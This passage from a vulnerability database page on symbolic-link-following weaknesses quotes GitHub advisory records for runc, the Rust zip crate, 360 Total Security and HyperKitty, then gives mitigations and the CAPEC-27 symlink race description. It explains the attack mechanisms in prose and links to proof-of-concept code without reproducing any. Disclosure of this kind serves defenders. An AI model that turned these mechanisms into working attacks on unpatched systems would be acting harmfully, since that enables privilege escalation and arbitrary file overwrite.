\nhttps://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm \n\n### Other Runtimes ### \nAs this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a coordinated security release along with runc. LXC appears to also be vulnerable in some aspects, but [their security stance](https://linuxcontainers.org/lxc/security/) is (understandably) that non-user-namespaced containers are fundamentally insecure by design. \nhttps://linuxcontainers.org/lxc/security/ \n\n### Credits ### \nThanks to Lei Wang (@ssst0n3 from Huawei) for finding and reporting the original vulnerability (Attack 1), and Li Fubang (@lifubang from acmcoder.com, CIIC) for discovering another attack vector (Attack 2) based on @ssst0n3\u0027s initial findings.",
"id": "GHSA-9493-h29p-rfm2",
"modified": "2025-11-18T18:36:38Z",
"published": "2025-11-05T16:37:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/opencontainers/runc/security/advisories/GHSA-9493-h29p-rfm2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31133"
},
{
"type": "WEB",
"url": "https://github.com/opencontainers/runc/commit/1a30a8f3d921acbbb6a4bb7e99da2c05f8d48522"
},
{
"type": "WEB",
"url": "https://github.com/opencontainers/runc/commit/5d7b2424072449872d1cd0c937f2ca25f418eb66"
},
{
"type": "WEB",
"url": "https://github.com/opencontainers/runc/commit/8476df83b534a2522b878c0507b3491def48db9f"
},
{
"type": "WEB",
"url": "https://github.com/opencontainers/runc/commit/db19bbed5348847da433faa9d69e9f90192bfa64"
},
{
"type": "PACKAGE",
"url": "https://github.com/opencontainers/runc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "runc container escape via \"masked path\" abuse due to mount race conditions"
}
GHSA-94VH-GPHV-8PM8
Vulnerability from github – Published: 2025-03-17 21:26 – Updated: 2025-03-19 15:51Summary
In the archive extraction routine of affected versions of the zip crate, symbolic links earlier in the archive are allowed to be used for later files in the archive without validation of the final canonicalized path, allowing maliciously crafted archives to overwrite arbitrary files in the file system when extracted.
Details
This is a variant of the zip-slip vulnerability, we can make the extraction logic step outside of the target directory by creating a symlink to the parent directory and then extracting further files through that symlink.
The documentation of the [::zip::read::ZipArchive::extract] method is in my opinion implying this should not happen:
"Paths are sanitized with ZipFile::enclosed_name." ... [
::zip::read::FileOptions::enclosed_name] ... is resistant to path-based exploits ... can’t resolve to a path outside the current directory.
Most archive software either decline to extract symlinks that traverse out of the directory or defer creation of symlinks after all files have been created to prevent unexpected behavior when later entries depend on earlier symbolic link entries.
PoC
https://gist.github.com/eternal-flame-AD/bf71ef4f6828e741eb12ce7fd47b7b85
Impact
Users who extract untrusted archive files using the following high-level API method may be affected and critical files on the system may be overwritten with arbitrary file permissions, which can potentially lead to code execution.
- zip::unstable::stream::ZipStreamReader::extract
- zip::read::ZipArchive::extract
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "zip"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-29787"
],
"database_specific": {
"cwe_ids": [
"CWE-180",
"CWE-22",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-17T21:26:32Z",
"nvd_published_at": "2025-03-17T14:15:22Z",
"severity": "HIGH"
},
"details": "### Summary\n\n\nIn the archive extraction routine of affected versions of the `zip` crate, symbolic links earlier in the archive are allowed to be used for later files in the archive without validation of the final canonicalized path, allowing maliciously crafted archives to overwrite arbitrary files in the file system when extracted.\n\n### Details\n\nThis is a variant of the [zip-slip](https://github.com/snyk/zip-slip-vulnerability) vulnerability, we can make the extraction logic step outside of the target directory by creating a symlink to the parent directory and then extracting further files through that symlink.\n\nThe documentation of the [`::zip::read::ZipArchive::extract`] method is in my opinion implying this should not happen:\n\n\u003e \"Paths are sanitized with ZipFile::enclosed_name.\" ...\n\u003e [`::zip::read::FileOptions::enclosed_name`] ... is resistant to path-based exploits ... can\u2019t resolve to a path outside the current directory.\n\n\nMost archive software either decline to extract symlinks that traverse out of the directory or defer creation of symlinks after all files have been created to prevent unexpected behavior when later entries depend on earlier symbolic link entries.\n\n### PoC\n\nhttps://gist.github.com/eternal-flame-AD/bf71ef4f6828e741eb12ce7fd47b7b85\n\n### Impact\n\nUsers who extract untrusted archive files using the following high-level API method may be affected and critical files on the system may be overwritten with arbitrary file permissions, which can potentially lead to code execution.\n\n- zip::unstable::stream::ZipStreamReader::extract\n- zip::read::ZipArchive::extract",
"id": "GHSA-94vh-gphv-8pm8",
"modified": "2025-03-19T15:51:04Z",
"published": "2025-03-17T21:26:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zip-rs/zip2/security/advisories/GHSA-94vh-gphv-8pm8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29787"
},
{
"type": "WEB",
"url": "https://github.com/zip-rs/zip2/commit/a2e062f37066c3b12860a32eb1cb44856cfb7afe"
},
{
"type": "WEB",
"url": "https://gist.github.com/eternal-flame-AD/bf71ef4f6828e741eb12ce7fd47b7b85"
},
{
"type": "PACKAGE",
"url": "https://github.com/zip-rs/zip2"
},
{
"type": "WEB",
"url": "https://github.com/zip-rs/zip2/releases/tag/v2.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "zip Incorrectly Canonicalizes Paths during Archive Extraction Leading to Arbitrary File Write"
}
GHSA-96P3-V9FQ-XHX4
Vulnerability from github – Published: 2024-04-15 18:30 – Updated: 2024-08-23 00:31An issue discovered in 360 Total Security Antivirus through 11.0.0.1061 for Windows allows attackers to gain escalated privileges via Symbolic Link Follow to Arbitrary File Delete.
{
"affected": [],
"aliases": [
"CVE-2024-22014"
],
"database_specific": {
"cwe_ids": [
"CWE-61"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-15T18:15:10Z",
"severity": "HIGH"
},
"details": "An issue discovered in 360 Total Security Antivirus through 11.0.0.1061 for Windows allows attackers to gain escalated privileges via Symbolic Link Follow to Arbitrary File Delete.",
"id": "GHSA-96p3-v9fq-xhx4",
"modified": "2024-08-23T00:31:39Z",
"published": "2024-04-15T18:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22014"
},
{
"type": "WEB",
"url": "https://github.com/mansk1es/CVE_360TS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9P78-XGFP-85MW
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-10-26 12:00A UNIX Symbolic Link (Symlink) Following vulnerability in python-HyperKitty of openSUSE Leap 15.2, Factory allows local attackers to escalate privileges from the user hyperkitty or hyperkitty-admin to root. This issue affects: openSUSE Leap 15.2 python-HyperKitty version 1.3.2-lp152.2.3.1 and prior versions. openSUSE Factory python-HyperKitty versions prior to 1.3.4-5.1.
{
"affected": [],
"aliases": [
"CVE-2021-25322"
],
"database_specific": {
"cwe_ids": [
"CWE-59",
"CWE-61"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-10T12:15:00Z",
"severity": "HIGH"
},
"details": "A UNIX Symbolic Link (Symlink) Following vulnerability in python-HyperKitty of openSUSE Leap 15.2, Factory allows local attackers to escalate privileges from the user hyperkitty or hyperkitty-admin to root. This issue affects: openSUSE Leap 15.2 python-HyperKitty version 1.3.2-lp152.2.3.1 and prior versions. openSUSE Factory python-HyperKitty versions prior to 1.3.4-5.1.",
"id": "GHSA-9p78-xgfp-85mw",
"modified": "2022-10-26T12:00:32Z",
"published": "2022-05-24T19:04:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25322"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1182373"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.
Mitigation MIT-48.1
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.